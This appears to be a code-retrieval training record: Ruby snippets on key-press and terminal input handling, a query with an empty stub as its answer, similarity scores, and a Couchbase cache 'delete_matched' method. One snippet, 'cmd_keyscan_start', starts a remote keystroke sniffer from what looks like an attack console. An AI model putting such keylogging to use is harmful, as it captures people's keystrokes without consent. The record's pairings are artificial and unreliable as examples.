"def keypress(key = nil, name = nil)\n Vedeu.trigger(:key, key)\n\n return false unless key\n\n new(key, name).keypress\n end",
"def keypress\n $prompt.keypress(\"Press space or enter to continue\", keys: [:space, :return])\nend",
"def putch char\n @current_index ||= 0\n if @editable \n raise \"how is it editable here in combo\"\n super\n return 0\n else\n match = next_match(char)\n text match unless match.nil?\n fire_handler :ENTER_ROW, self\n end\n @modified = true\n fire_handler :CHANGE, self # 2008-12-09 14:51 ???\n 0\n end",
"def rekey!; end",
"def rekey!; end",
"def waitForKeyPress\n print 'Press any key to continue'\n got = STDIN.getch\n # Extra space to overwrite in case next output is short\n print \" \\r\"\n\n # Cancel on CTRL-C\n if got == \"\\x03\"\n puts 'Got interrupt key, quitting'\n exit 1\n end\nend",
"def getchar\n getch\n end",
"def getch\n scan(/./m)\n end",
"def scard(key); end",
"def scard(key); end",
"def ORIGbind_key keycode, *args, &blk # -- {{{\n #$log.debug \" #{@name} bind_key received #{keycode} \"\n @_key_map ||= {}\n #\n # added on 2011-12-4 so we can pass a description for a key and print it\n # The first argument may be a string, it will not be removed\n # so existing programs will remain as is.\n @key_label ||= {}\n if args[0].is_a?(String) || args[0].is_a?(Symbol)\n @key_label[keycode] = args[0] \n else\n @key_label[keycode] = :unknown\n end\n\n if !block_given?\n blk = args.pop\n raise \"If block not passed, last arg should be a method symbol\" if !blk.is_a? Symbol\n #$log.debug \" #{@name} bind_key received a symbol #{blk} \"\n end\n case keycode\n when String\n # single assignment\n keycode = keycode.getbyte(0) #if keycode.class==String ## 1.9 2009-10-05 19:40 \n #$log.debug \" #{name} Widg String called bind_key BIND #{keycode}, #{keycode_tos(keycode)} \"\n #$log.debug \" assigning #{keycode} \" if $log.debug? \n @_key_map[keycode] = blk\n when Array\n # double assignment\n # for starters lets try with 2 keys only\n raise \"A one key array will not work. Pass without array\" if keycode.size == 1\n a0 = keycode[0]\n a0 = keycode[0].getbyte(0) if keycode[0].class == String\n a1 = keycode[1]\n a1 = keycode[1].getbyte(0) if keycode[1].class == String\n @_key_map[a0] ||= OrderedHash.new\n #$log.debug \" assigning #{keycode} , A0 #{a0} , A1 #{a1} \" if $log.debug? \n @_key_map[a0][a1] = blk\n #$log.debug \" XX assigning #{keycode} to _key_map \" if $log.debug? \n else\n #$log.debug \" assigning #{keycode} to _key_map \" if $log.debug? \n @_key_map[keycode] = blk\n end\n @_key_args ||= {}\n @_key_args[keycode] = args\n\n end",
"def key_pressed( event )\n @keys += [event.key]\n end",
"def read_char()\n STDIN.getch()\nend",
"def keystroke(character, *special_keys)\n special_keys = [\"command\"] if special_keys.length == 0\n special_keys_as_applescript_array = special_keys.map { |k|\n \"#{k} down\"\n }.join(\", \")\n execute_applescript(%Q'\n tell application \"System Events\"\n set frontApp to name of first item of (processes whose frontmost is true)\n tell application frontApp\n keystroke \"#{character}\" using {#{special_keys_as_applescript_array}}\n end\n end tell\n ')\n end",
"def prepare_for_immediate_keypress\n\t\t\t@initial_input_ready = true\n\t\t\tself.setCursorPosition(0)\n\t\t\tself.grabKeyboard\n\t\tend",
"def keystream_letter\n move_joker_a\n move_joker_b\n triple_cut\n count_cut\n count_down\nend",
"def focus_next_key(value)\n return invalid_key('exit_key') unless valid_key?(value)\n\n Vedeu.log(\"Configuration::API focus_next: #{value}\")\n\n system_keys[:focus_next] = value\n end",
"def show_single_key\n c = read_char\n\n case c\n when \" \"\n RTermGame.println \"SPACE\"\n when \"\\t\"\n RTermGame.println \"TAB\"\n when \"\\r\"\n RTermGame.println \"RETURN\"\n when \"\\n\"\n RTermGame.println \"LINE FEED\"\n when \"\\e\"\n RTermGame.println \"ESCAPE\"\n when \"\\e[A\"\n RTermGame.println \"UP ARROW\"\n when \"\\e[B\"\n RTermGame.println \"DOWN ARROW\"\n when \"\\e[C\"\n RTermGame.println \"RIGHT ARROW\"\n when \"\\e[D\"\n RTermGame.println \"LEFT ARROW\"\n when \"\\177\"\n RTermGame.println \"BACKSPACE\"\n when \"\\004\"\n RTermGame.println \"DELETE\"\n when \"\\e[3~\"\n RTermGame.println \"ALTERNATE DELETE\"\n when \"\\u0003\"\n RTermGame.println \"CONTROL-C\"\n exit 0\n when /^.$/\n RTermGame.println \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n RTermGame.println \"SOMETHING ELSE: #{c.inspect}\"\n end\nend",
"def activate_held(key)\n key_down.deactivate(key)\n key_held.activate(key) unless key_held.send(key)\n key_up.deactivate(key)\n end",
"def key_pressed\n if STDIN.ready?\n input = STDIN.read_nonblock(1) rescue nil\n if input == \"\\e\" \n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n end\n # STDIN.cooked!\n input\n\nend",
"def readkey\n system('stty raw -echo') # => Raw mode, no echo\n c = (STDIN.read_nonblock(1).ord rescue nil)\n system('stty -raw echo') # => Reset terminal mode\n c\nend",
"def key_press *args\n\t\t\tevent(:key_press, *args)\n\t\tend",
"def read\n @window.getch\n end",
"def on_keydown(key, view, active_ip, reference_ip = active_ip)\n if key == CONSTRAIN_MODIFIER_KEY\n try_lock_constraint(view, active_ip)\n else\n try_lock_axis(key, view, reference_ip)\n end\n end",
"def activate_up(key)\n key_down.deactivate(key)\n key_held.deactivate(key)\n key_up.activate(key)\n end",
"def keypress_handler(scancode)\n i = scancode & 0x7f\n x = SCREEN_W() - 100 * 3 + (i % 3) * 100\n y = SCREEN_H() / 2 + (i / 3 - 21) * 10\n color = scancode & 0x80 != 0 ? makecol(255, 255, 0) : makecol(128, 0, 0)\n rectfill(screen, x, y, x + 95, y + 8, color)\n str = ustrzncpy(scancode_to_name(i), 12)\n textprintf_ex(screen, font, x + 1, y + 1, makecol(0, 0, 0), -1, str)\nend",
"def method_missing(sym, *args, &block)\n super if !args.empty? or block\n cmds = sym.to_s.split(\"_\")\n callsequence = \"\"\n cmds.each do |cmd|\n callsequence << case cmd.downcase\n when \"ctrl\" then \"^\"\n when \"shift\" then \"+\"\n when \"alt\" then \"!\"\n when \"win\" then \"#\"\n when \"enter\" then \"{ENTER}\"\n when \"return\" then \"{ENTER}\"\n when \"del\" then \"{DEL}\"\n else\n cmd\n end\n end\n send_keys(callsequence)\n end",
"def draw_key(index, skill, key, input)\n x = (4 + index % 2 * (288 + 32)) + (width / (2 * @column_max)) - (Combo_Skill[skill][0].size * Base_Cost / 2) - 16 + key * @actor.battler_combo[input][2]\n if Input_Images\n bitmap = @images_bitmaps[Input.key_image(input)]\n self.contents.blt(x, (index / 2 * 52) + 32, bitmap, Rect.new(0, 0, 24, 24))\n else\n self.contents.draw_text(x, (index / 2 * 52) + 28, 24, 32, Input.key_converter(input))\n end\n end",
"def show_single_key\n c = read_char\n\n case c\n when \" \"\n puts \"SPACE\"\n when \"\\t\"\n puts \"TAB\"\n when \"\\r\"\n puts \"RETURN\"\n when \"\\n\"\n puts \"LINE FEED\"\n when \"\\e\"\n puts \"ESCAPE\"\n when \"\\e[A\"\n puts \"UP ARROW\"\n when \"\\e[B\"\n puts \"DOWN ARROW\"\n when \"\\e[C\"\n puts \"RIGHT ARROW\"\n when \"\\e[D\"\n puts \"LEFT ARROW\"\n when \"\\177\"\n puts \"BACKSPACE\"\n when \"\\004\"\n puts \"DELETE\"\n when \"\\e[3~\"\n puts \"ALTERNATE DELETE\"\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n when /^.$/\n puts \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n puts \"SOMETHING ELSE: #{c.inspect}\"\n end\n end",
"def input_keypad(input)\n\n $test_logger.log(\"Keypad input value '#{input}'\")\n\n raise \"Testability driver not connected!\" if !$test_ref.td_proc\n\n #Open new testability thread to input string\n $test_ref.exe_in_thread(\"input_keypad\"){sleep 0.5; $test_ref.td_proc.wait_type_confirm(input)}\n\n end",
"def draw_key(key)\n x = Combo_Command_Position[key][0]\n y = Combo_Command_Position[key][1]\n if Input_Images\n bitmap = @images_bitmaps[Input.key_image(key)]\n self.contents.blt(x, y, bitmap, Rect.new(0, 0, 24, 24))\n else\n self.contents.draw_text(x, y, 24, 32, Input.key_converter(key))\n end\n end",
"def onKeyDown(key, repeat, flags, view)\n if( key == CONSTRAIN_MODIFIER_KEY && repeat == 1 )\n @shift_down_time = Time.now\n \n # if we already have an inference lock, then unlock it\n if( view.inference_locked? )\n # calling lock_inference with no arguments actually unlocks\n view.lock_inference\n elsif( @state == 0 && @ip1.valid? )\n view.lock_inference @ip1\n elsif( @state == 1 && @ip2.valid? )\n view.lock_inference @ip2, @ip1\n end\n end\nend",
"def key(k, x, y)\n case k\n when ?z\n @view_rotz += 5.0\n when ?Z\n @view_rotz -= 5.0\n when 27 # Escape\n exit\n end\n glutPostRedisplay()\n end",
"def key(k, x, y)\n case k\n when ?z\n @view_rotz += 5.0\n when ?Z\n @view_rotz -= 5.0\n when 27 # Escape\n exit\n end\n glutPostRedisplay()\n end",
"def getchar \n while 1 \n ch = getch\n #$log.debug \"window getchar() GOT: #{ch}\" if ch != -1\n if ch == -1\n # the returns escape 27 if no key followed it, so its SLOW if you want only esc\n if @stack.first == 27\n #$log.debug \" -1 stack sizze #{@stack.size}: #{@stack.inspect}, ch #{ch}\"\n case @stack.size\n when 1\n @stack.clear\n return 27\n when 2 # basically a ALT-O, this will be really slow since it waits for -1\n ch = 128 + @stack.last\n @stack.clear\n return ch\n when 3\n $log.debug \" SHOULD NOT COME HERE getchar()\"\n end\n end\n @stack.clear\n next\n end\n # this is the ALT combination\n if @stack.first == 27\n # experimental. 2 escapes in quick succession to make exit faster\n if ch == 27\n @stack.clear\n return ch\n end\n # possible F1..F3 on xterm-color\n if ch == 79 or ch == 91\n #$log.debug \" got 27, #{ch}, waiting for one more\"\n @stack << ch\n next\n end\n #$log.debug \"stack SIZE #{@stack.size}, #{@stack.inspect}, ch: #{ch}\"\n if @stack == [27,79]\n # xterm-color\n case ch\n when 80\n ch = KEY_F1\n when 81\n ch = KEY_F2\n when 82\n ch = KEY_F3\n when 83\n ch = KEY_F4\n end\n @stack.clear\n return ch\n elsif @stack == [27, 91]\n if ch == 90\n @stack.clear\n return KEY_BTAB # backtab\n end\n end\n # the usual Meta combos. (alt)\n ch = 128 + ch\n @stack.clear\n return ch\n end\n # append a 27 to stack, actually one can use a flag too\n if ch == 27\n @stack << 27\n next\n end\n return ch\n end\n end",
"def read_io(keyseq_timeout, &block)\n buffer = []\n loop do\n c = Reline::IOGate.getc\n buffer << c\n result = @@key_stroke.match_status(buffer)\n case result\n when :matched\n block.(@@key_stroke.expand(buffer).map{ |c| Reline::Key.new(c, c, false) })\n break\n when :matching\n if buffer.size == 1\n begin\n succ_c = nil\n Timeout.timeout(keyseq_timeout / 1000.0) {\n succ_c = Reline::IOGate.getc\n }\n rescue Timeout::Error # cancel matching only when first byte\n block.([Reline::Key.new(c, c, false)])\n break\n else\n if @@key_stroke.match_status(buffer.dup.push(succ_c)) == :unmatched\n if c == \"\\e\".ord\n block.([Reline::Key.new(succ_c, succ_c | 0b10000000, true)])\n else\n block.([Reline::Key.new(c, c, false), Reline::Key.new(succ_c, succ_c, false)])\n end\n break\n else\n Reline::IOGate.ungetc(succ_c)\n end\n end\n end\n when :unmatched\n if buffer.size == 1 and c == \"\\e\".ord\n read_escaped_key(keyseq_timeout, buffer, block)\n else\n block.(buffer.map{ |c| Reline::Key.new(c, c, false) })\n end\n break\n end\n end\n end",
"def keypress\n key = input\n\n @keypress ||= Vedeu::Input::Translator.translate(key)\n end",
"def onKeyDown( *args )\r\n capture = relay_event( :onKeyDown, args )\r\n relay_event( :onSetCursor, [] )\r\n capture\r\n end",
"def getchar \n while true \n ch = getch\n #$log.debug \"window getchar() GOT: #{ch}\" if ch != -1\n if ch == -1\n # the returns escape 27 if no key followed it, so its SLOW if you want only esc\n if @stack.first == 27\n #$log.debug \" -1 stack sizze #{@stack.size}: #{@stack.inspect}, ch #{ch}\"\n case @stack.size\n when 1\n @stack.clear\n return 27\n when 2 # basically a ALT-O, this will be really slow since it waits for -1\n ch = 128 + @stack.last\n @stack.clear\n return ch\n when 3\n $log.debug \" SHOULD NOT COME HERE getchar()\"\n end\n end\n @stack.clear\n next\n end\n # this is the ALT combination\n if @stack.first == 27\n # experimental. 2 escapes in quick succession to make exit faster\n if ch == 27\n @stack.clear\n return ch\n end\n # possible F1..F3 on xterm-color\n if ch == 79 or ch == 91\n #$log.debug \" got 27, #{ch}, waiting for one more\"\n @stack << ch\n next\n end\n #$log.debug \"stack SIZE #{@stack.size}, #{@stack.inspect}, ch: #{ch}\"\n if @stack == [27,79]\n # xterm-color\n case ch\n when 80\n ch = KEY_F1\n when 81\n ch = KEY_F2\n when 82\n ch = KEY_F3\n when 83\n ch = KEY_F4\n end\n @stack.clear\n return ch\n elsif @stack == [27, 91]\n if ch == 90\n @stack.clear\n return 353 # backtab\n end\n end\n # the usual Meta combos. (alt)\n ch = 128 + ch\n @stack.clear\n return ch\n end\n # append a 27 to stack, actually one can use a flag too\n if ch == 27\n @stack << 27\n next\n end\n return ch\n end\n end",
"def keypress_on(element, key)\r\n element.native.send_key(key)\r\n end",
"def key ch\n ch.getbyte(0)\n end",
"def getch\n FFI::NCurses.wtimeout(@pointer, $ncurses_timeout || 1000)\n c = FFI::NCurses.wgetch(@pointer)\n if c == 27 ## {{{\n\n # don't wait for another key\n FFI::NCurses.nodelay(@pointer, true)\n k = FFI::NCurses.wgetch(@pointer)\n if k == -1\n # wait for key\n #FFI::NCurses.nodelay(@pointer, false)\n return 27\n else\n buf = \"\"\n loop do\n n = FFI::NCurses.wgetch(@pointer)\n break if n == -1\n buf += n.chr\n end\n # wait for next key\n #FFI::NCurses.nodelay(@pointer, false)\n\n # this works for all alt-keys but it messes with shift-function keys\n # shift-function keys start with M-[ (91) and then have more keys\n if buf == \"\"\n return k + 128\n end\n #$log.debug \" getch buf is #{k.chr}#{buf} \"\n # returning a string key here which is for Shift-Function keys or other undefined keys.\n key = 27.chr + k.chr + buf\n return key\n\n end\n end ## }}}\n #FFI::NCurses.nodelay(@pointer, false) # this works but trying out for continueous updates\n c\n rescue SystemExit, Interrupt \n 3 # is C-c\n rescue StandardError\n -1 # is C-c\n end",
"def shift\n conn.lpop key\n end",
"def control_key_up\r\n command 'controlKeyUp'\r\n end",
"def cmd_keyscan_start(*args)\n\t\tprint_line(\"Starting the keystroke sniffer...\")\t\n\t\tclient.ui.keyscan_start\n\t\treturn true\n\tend",
"def long_press_keycode(key, metastate: [], flags: [])\n @bridge.long_press_keycode(key, metastate: metastate, flags: flags)\n end",
"def long_press_keycode(key, metastate: [], flags: [])\n @bridge.long_press_keycode(key, metastate: metastate, flags: flags)\n end",
"def any_key\n puts \"\\n\\n Press any key to go back to the main menu\"\n $stdin.getch\n clear\nend"
] |
[
"0.69253063",
"0.68007314",
"0.68007314",
"0.66498524",
"0.6583793",
"0.6340866",
"0.6340866",
"0.6331402",
"0.63207793",
"0.63171494",
"0.6314997",
"0.62860566",
"0.62041444",
"0.6201621",
"0.6168597",
"0.6153032",
"0.614488",
"0.6143033",
"0.6119854",
"0.6077393",
"0.6070205",
"0.6066843",
"0.60657245",
"0.60432184",
"0.60422367",
"0.60224444",
"0.60108024",
"0.59926045",
"0.5978866",
"0.5966031",
"0.5962724",
"0.5953973",
"0.5953973",
"0.5931928",
"0.5924606",
"0.59084",
"0.59082514",
"0.5908198",
"0.58919823",
"0.5891693",
"0.5883012",
"0.5879001",
"0.5870721",
"0.5862624",
"0.58530974",
"0.58434546",
"0.5839233",
"0.58373845",
"0.58168906",
"0.5787625",
"0.57823867",
"0.5779016",
"0.576738",
"0.5760512",
"0.5760082",
"0.5756409",
"0.5756409",
"0.57370204",
"0.5729378",
"0.5723894",
"0.5722229",
"0.5722229",
"0.5720126",
"0.57121134",
"0.57085097",
"0.5689655",
"0.56892556",
"0.5689003",
"0.5676016",
"0.5674127",
"0.56701857",
"0.5667968",
"0.5667318",
"0.5657189",
"0.56483865",
"0.5644906",
"0.5643595",
"0.5625445",
"0.5621992",
"0.56184816",
"0.5604612",
"0.5602289",
"0.5593219",
"0.5591515",
"0.5588221",
"0.5585365",
"0.558476",
"0.55791944",
"0.5574421",
"0.55670357",
"0.5563103",
"0.55605054",
"0.55573076",
"0.5556058",
"0.5555035",
"0.5544539",
"0.55374324",
"0.55331385",
"0.55331385",
"0.55316836"
] |
0.76466894
|
0
|
Return the contents of the line with the given number in the active buffer
|
def line(number)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def line\n buffer[line_number]\n end",
"def line(number)\n lines[number - 1]\n end",
"def line_at(filename, line_number) # :nodoc:\n line = LineCache::getline(filename, line_number, @reload_on_change)\n return \"\\n\" unless line\n return line.gsub(/^\\s+/, '').chomp\n end",
"def current_line\n # get the actual offset\n start = @buffer.get_iter_at_offset(@@offset)\n\n # get the command\n line = @buffer.get_text(start, @buffer.end_iter)\n\n return line\n end",
"def readline(file, line_number)\n current_line = 0\n File.open(file).each do |line_text|\n current_line += 1\n return line_text.strip if current_line == line_number\n end\n end",
"def readline(file, line_number)\n current_line = 0\n File.open(file).each do |line_text|\n current_line += 1\n return line_text.strip if current_line == line_number\n end\n end",
"def line(num) lines(num, 1) end",
"def line_at(filename, line_number)\n source_reload\n\n return \"\\n\" unless File.exist?(filename)\n line = Tracer::Single.get_line(filename, line_number)\n\n return \"#{line.gsub(/^\\s+/, '').chomp}\"\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def read_specific_line(file_name, line_number)\n line = `sed '#{line_number + 1}!d' #{file_name}`\n line.chop! if line.last == \"\\n\"\n LoggerHelper.print_to_log(\"Lines in '#{file_name}' by number is '#{line}'\")\n line\n end",
"def get_line_content(patch, line_number)\n patch.\n changed_lines.\n detect { |line| line.number == line_number }.\n instance_variable_get(:@content)\n end",
"def getLine(theLines, theIndex)\n\n\treturn theLines.fetch(theIndex, EMPTY_LINE);\n\nend",
"def line(n)\n @lines[n]\n end",
"def line\n @session.request(:vim_get_current_line)\n end",
"def line(number); end",
"def line_for_position(position); end",
"def line_for_position(position); end",
"def line_for_position(position); end",
"def read_by_line_number line_number\n uri = ''\n File.open('storage.db','r') do |f|\n count = f.gets.to_i\n raise 'URI unaccesible' if count < line_number\n while line_number >0\n uri = f.gets\n line_number -= 1\n end\n end\n uri\n end",
"def get_indexfile_with_line number\n IO.readlines(@indexfile)[number]\n end",
"def io_buf_line\n index = @io_buf.index \"\\n\"\n return unless index\n\n @io_buf.slice!(0..index)\n end",
"def line_number\n number[6..-1]\n end",
"def buffer\n @line[@pos, @line.length - @pos] unless @line.nil?\n end",
"def line_index(num)\n\t\tif num == 0\n\t\t\treturn -1\n\t\telsif num <= @line_indices.length\n\t\t\treturn @line_indices[num - 1]\n\t\telsif num == @line_indices.length + 1\n\t\t\treturn @text.length\n\t\telse\n\t\t\treturn -999 # todo\n\t\tend \n\tend",
"def lines(start, num) \n\t\t@text[index_of_position(start)...index_of_position(start + num) - 1]\n\tend",
"def line(pos=pos())\n lines[line_index(pos)]\n end",
"def line_from_char(index = -1)\n send_message(:LINEFROMCHAR, index.to_i)\n end",
"def line(pos=pos)\n lines[line_index(pos)]\n end",
"def get_line(filename, lineno)\n File.open(filename) do |f|\n f.gets until f.lineno == lineno - 1\n f.gets\n end\n end",
"def get_line_from_file(path, line)\n\tresult = nil\n\tFile.open(path, \"r\") do |f|\n \t\twhile line > 0\n \t\t\tline -= 1\n \t\t\tresult = f.gets\n \t\tend\n \tend\n\treturn result\nend",
"def from_line_index\n from_line - 1\n end",
"def lines\n (1..buffer.length.to_i - 1).map { |ix| buffer[ix.to_i] }.flatten\n end",
"def line\n return 1 unless lexing_context && locator\n locator.line_for_offset(lexing_context[:end_offset])\n end",
"def get_line(code)\n return code[2][0]\n end",
"def line\n\t\t\t@line.set(buffer.line.start, buffer.line.end)\n\t\tend",
"def method_source_lines(file, line_num, context=5)\n # Yeah, we're not memory efficient here.\n lines = Array(File.open(file))\n result = []\n\n min_index = line_num - context - 1\n max_index = line_num + context\n\n max_width = (max_index + 1).to_s.length\n\n (min_index...max_index).each do |index|\n result << [(index + 1).to_s.rjust(max_width), lines[index].rstrip, index == line_num - 1]\n end\n\n result\n end",
"def current_line\n @lines[@current_index]\n end",
"def line\n\t\treturn @file_data[@current_line]\n\tend",
"def read_line_number(filename, number)\n return nil if number < 1\n line = File.readlines(filename)[number-1]\n line ? line.chomp : nil\n end",
"def line\n lines.first\n end",
"def get_line_render_instructions(line_num)\n\t\tstart_line_index = index_of_position(line_num)\n\t\tline = line(line_num)\n\n\t\tinstructions = []\n\n\t\thighlight_index = @highlights.length - 1\n\t\thighlight_index -= 1 while highlight_index > 0 and @highlights[highlight_index][0] > start_line_index\n\t\thighlight = @highlights[highlight_index][1]\n\t\thighlight_index += 1\n\t\tpart_start_index = 0\n\n\t\t(0..line.length).each do |c|\n\t\t\tif c == line.length or (highlight_index < @highlights.length and @highlights[highlight_index][0] == c + start_line_index)\n\t\t\t\tinstructions << [highlight, line[part_start_index ... c]]\n\t\t\t\tbreak if c == line.length\n\t\t\t\thighlight = @highlights[highlight_index][1]\n\t\t\t\thighlight_num += 1\n\t\t\tend\n\t\tend\n\n\t\tinstructions\n\tend",
"def readline(line_no)\n index_offset = 4 + (line_no * 4)\n data_offset = read_int(index_offset)\n\n @data.seek(data_offset)\n @data.readline.chomp\n end",
"def index_for(file, line_number)\n diff_for_file(file).fetch(:diff_chunks).\n reduce(0) do |index, position:, size:, diff:|\n # Unless we are processing the target chunk\n unless line_number.between?(position, position + size)\n next index + 1 + diff.lines.count\n end\n\n position -= 1 # rebase position on first line of chunk\n index_in_chunk = diff.lines.find_index do |line|\n position += 1 unless line.first == '-'\n position == line_number\n end\n\n return index + 1 + index_in_chunk\n end\n\n nil # if this line number is not in diff\n end",
"def parse_debug_line_number(number_as_string)\n # Deduct 1 because kakoune always maintains an extra empty line at the end of the debug buffer.\n number_as_string.to_i - 1\nend",
"def line_number\n $curwin.cursor.first\n end",
"def select_line\n buffer_current.select_current_line\n update_status_line\n end",
"def line_index()\n end",
"def buffer_lines\n buffer_line_cycle.map { |i| self[i] }.join(\"\\n\")\n end",
"def source_line\n @source_location[1]\n end",
"def line\n\t\t\tself.src.line\n\t\tend",
"def current_line\n\n seek_line_head\n @file.gets\n end",
"def get_line\n @lines.shift\n end",
"def from_line\n position.new_line\n end",
"def line_for_offset(offset)\n end",
"def get_current_line(file, index)\n current_line = file[index.value]\n if !current_line.nil?\n current_line.chomp()\n end\n while (!current_line.nil?) && current_line.match(/\\A\\s*\\Z/)\n index.value += 1\n current_line = file[index.value]\n if !current_line.nil?\n current_line.chomp()\n end\n end\n return current_line\nend",
"def line_for_offset(offset)\n if line_nbr = line_index.index {|x| x > offset}\n return line_nbr\n end\n # If not found it is after last\n return line_index.size\n end",
"def line_for_offset(offset)\n if @prev_offset == offset\n # use cache\n return @prev_line\n end\n line_nbr = ary_bsearch_i(line_index, offset)\n if line_nbr\n # cache\n @prev_offset = offset\n @prev_line = line_nbr\n return line_nbr\n end\n # If not found it is after last\n # clear cache\n @prev_offset = @prev_line = nil\n return line_index.size\n end",
"def [](index)\n line[index]\n end",
"def current_line_number; end",
"def visible_line_number\r\n return 5\r\n end",
"def context_at_location(position)\n lines = text.split(\"\\n\")\n line = lines[position.line]\n return [] if line.nil? || line.strip.length.zero?\n\n LineContext.for(line, position.character)\n end",
"def next_lines(lines, number)\n lines.slice!(0, number)\n end",
"def read\n @index += 1\n line = @last ? @last : @lines[@index]\n @last = nil\n line\n end",
"def jump_to_line l\n l = l.clamp 0, num_lines - 1\n return if @topline == l\n @topline = l\n @botline = [l + buffer.content_height, num_lines].min\n buffer.mark_dirty!\n end",
"def getLine\r\n\t\treturn @Line\r\n\tend",
"def get_line_pos(pos)\n lpos = @line_ends.bsearch_index { |x, _| x >= pos }\n return lpos\n end",
"def line\n @string[0..@index].split(\"\\n\").count\n end",
"def visible_line_number\n return 4\n end",
"def visible_line_number\n return 4\n end",
"def line_id\n @line_number - 1\n end",
"def process_testcase(line_buffer)\n line_buffer\n end",
"def lines\n\t\t\t@buffer.data.count(Ruvim::API::CR)\n\t\tend",
"def compute_line_index\n scanner = StringScanner.new(@string)\n result = [0] # first line starts at 0\n while scanner.scan_until(/\\n/)\n result << scanner.pos\n end\n @line_index = result\n end",
"def string\n @line\n end",
"def line_number\n\t\t\t@line_index + 1\n\t\tend",
"def current_line_of_text\n @file_text.split(\"\\n\").at(lineno - 1) || ''\n end",
"def visible_line_number\n return 1\n end",
"def visible_line_number\n return 1\n end",
"def find_position(path, line_number)\n io = @diff.each_line # maybe redundant?\n\n file_header = \"+++ b/#{path}\\n\" # fixme\n if !io.find_index(file_header)\n @status = :file_not_found\n return\n end\n\n line = io.peek\n if !hunk_header?(line)\n raise StandardError.new(\"Expected hunk header to be after file header, but got '#{line}'\")\n end\n\n pos = 0\n\n while true\n line = io.next\n pos += 1\n\n if file_header?(line)\n @status = :line_not_found\n return\n end\n\n if !hunk_header?(line)\n next\n end\n\n line_numbers = line_numbers_for_destination(line)\n\n if destination_position = line_numbers.find_index(line_number)\n @status = :found_position\n return pos + find_hunk_index(io, destination_position)\n end\n end\n rescue StopIteration\n @status = :line_not_found\n end",
"def line_for_offset(offset)\n @locator.line_for_offset(offset) + @leading_line_count\n end",
"def line_space(index=@buffer.line.end)\n\t\t\ts = 0\n\t\t\t@buffer[@buffer.line.start ... index].each_char do |k|\n\t\t\t\ts += char_space(k, s)\n\t\t\tend\n\t\t\t\n\t\t\ts\n\t\tend",
"def line_num; end",
"def from_first_line_matching(regex_from)\n arr_lines = self.split(\"\\n\")\n ix1 = arr_lines.index_regex(regex_from) || 0\n if ! ix1\n throw \"Cattivo Indice per arr_lines. Non greppa una fava con: #{regex_from}\"\n ix1 = 0\n end\n ix2 = arr_lines.length\n deb \"#{ix1}..#{ix2}\"\n joint = arr_lines[ix1..ix2].join(\"\\n\") #rescue ''\n return joint \n end",
"def getLineFromString(line)\n return line.slice!(line.index(\"\\#~~!!\") + 6)\nend",
"def character_at(source_position, offset = 0)\n actual_line = source_position.line - 1\n actual_offset = source_position.offset + offset - 1\n\n # Return a newline if offset points at the very end of the line\n return \"\\n\" if actual_offset == engine.lines[actual_line].length\n\n engine.lines[actual_line][actual_offset]\n end",
"def line\n 1\n end",
"def expression_at(file, line_number, options = T.unsafe(nil)); end",
"def line\n location&.line\n end",
"def index\n history = File.open(@current)\n line = history.readline.rstrip\n line =~ /(\\d+)$/ # get the index\n $1.to_i\n end",
"def line_number\n @value.line_number if @value.respond_to?(:line_number)\n end",
"def start_line_number=(_); end",
"def line_number\n lines_read.length\n end",
"def source_line(lineno); end"
] |
[
"0.78151494",
"0.6983924",
"0.68906516",
"0.67963874",
"0.67521614",
"0.67521614",
"0.6698712",
"0.6623574",
"0.6603453",
"0.6603453",
"0.6603453",
"0.6603453",
"0.6603453",
"0.6543458",
"0.6543458",
"0.6543458",
"0.65258956",
"0.64647174",
"0.6403315",
"0.63947666",
"0.63944674",
"0.63574576",
"0.631137",
"0.631137",
"0.631137",
"0.62717706",
"0.6240447",
"0.62387884",
"0.623251",
"0.61763763",
"0.61658347",
"0.612411",
"0.6095281",
"0.6082621",
"0.60517883",
"0.60405844",
"0.60125685",
"0.6008688",
"0.60038066",
"0.594683",
"0.5938016",
"0.59321284",
"0.5930975",
"0.5928281",
"0.5917008",
"0.59142154",
"0.5867805",
"0.5859703",
"0.5835054",
"0.5688682",
"0.567121",
"0.56635183",
"0.5660649",
"0.5639004",
"0.56347954",
"0.56327754",
"0.56324947",
"0.5628412",
"0.56252944",
"0.561742",
"0.5610786",
"0.5609504",
"0.55920863",
"0.55910486",
"0.5587789",
"0.5569226",
"0.5564079",
"0.555092",
"0.55422056",
"0.55294836",
"0.5524581",
"0.5523874",
"0.5506519",
"0.54953",
"0.549101",
"0.549101",
"0.5481302",
"0.5478197",
"0.54630494",
"0.5455275",
"0.5444106",
"0.543509",
"0.5427816",
"0.54158795",
"0.54158795",
"0.5411437",
"0.540704",
"0.540235",
"0.53935975",
"0.5389567",
"0.53892016",
"0.53848577",
"0.5375692",
"0.53743106",
"0.5352177",
"0.535172",
"0.53476983",
"0.53474677",
"0.534478",
"0.53330237"
] |
0.6308628
|
25
|
Deletes all entries with keys matching the regular expression. The +matcher+ must be valid pattern for N1QL +REGEXP_MATCHES+ function. More info at Because the operation performed on query engine, and it might take time to propagate changes from key/value engine to the indexer. Therefore the keys, that were created a moment ago might not be deleted. Also this method assumes, that primary index created on the target bucket
|
def delete_matched(matcher, _options = nil)
pattern =
case matcher
when Regexp
matcher.inspect[1..-2]
when String
matcher.tr("?", ".").gsub("*", ".*")
else
raise NotImplementedError, "Unable to convert #{matcher.inspect} to Regexp pattern"
end
operation_options = ::Couchbase::Options::Query(named_parameters: {"pattern" => pattern}, metrics: true)
operation_options.consistent_with(::Couchbase::MutationState.new(@last_mutation_token)) if @last_mutation_token
begin
result = cluster.query("DELETE FROM #{scope_qualifier} cache WHERE REGEXP_MATCHES(META(cache).id, $pattern)", operation_options)
result.meta_data.metrics.mutation_count
rescue ::Couchbase::Error::ParsingFailure, ::Couchbase::Error::ServiceNotAvailable
raise NotImplementedError, "The server does not support delete_matched operation"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
